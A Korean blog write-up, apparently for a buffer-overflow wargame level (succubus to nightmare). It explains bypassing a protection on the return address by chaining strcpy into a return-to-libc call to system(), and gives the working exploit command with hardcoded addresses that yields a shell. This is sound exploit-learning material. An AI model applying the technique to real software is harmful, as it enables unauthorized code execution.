BOF redhat 원정대 succubus -> nightmare

BOF redhat 원정대 succubus -> nightmare

nightmare, nightmare.c


코드를 보면 RET부분에 strcpy의 주소가 들어가야하고 strcpy함수가 끝나고 RET할 주소인 다음 4바이트를 AAAA로 덮어버려 strcpy 다음에 RTL을 방지하고 있다.
이 문제는 strcpy의 argv를 맞춰주어 AAAA로 덮여진 strcpy함수가 끝나고 RET할 주소를 바꿀 수 있다.

메모리 주소를 확인하기 위해서 임의의 입력값을 넣어보자.
r `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAABBBBCCCCDDDD"'`


코드를 보면 argv를 버퍼로 복사하는 하드코딩된 strcpy가 있다. 이 함수를 거쳐 ret코드 이전에 브레이크를 잡아 메모리를 확인하였다. strcpy가 실행되어 버퍼에 입력값이 들어가 있는 것을 볼 수 있다.
[ 버퍼][    SFP   ][RET]
[A*44][strcpy_addr][AAAA][BBBB][CCCC][DDDD]

AAAA를 원하는 주소로 덮기 위해서 strcpy를 사용한다. 인자는 BBBB와 CCCC에 넣어 strcpy함수를 실행한다.

나는 A*44부분에 system함수로의 RTL코드를 넣고 현재 AAAA가 있는 RET부분을 버퍼의 시작주소(system RTL)로 덮을 것이다.

strcpy함수의 콜 이전의 스택의 모양은
[strcpy_addr][AAAA][dst_addr][src_addr]
게 된다.

공격페이로드를 작성하여 공격을 해보면


공격에 성공하여 쉘을 얻을 수 있다.
쉘코드 :
./nightmare `python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x90"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xd0\xf0\xff\xbf" + "\xa0\xf0\xff\xbf"'`

0 개의 댓글:

댓글 쓰기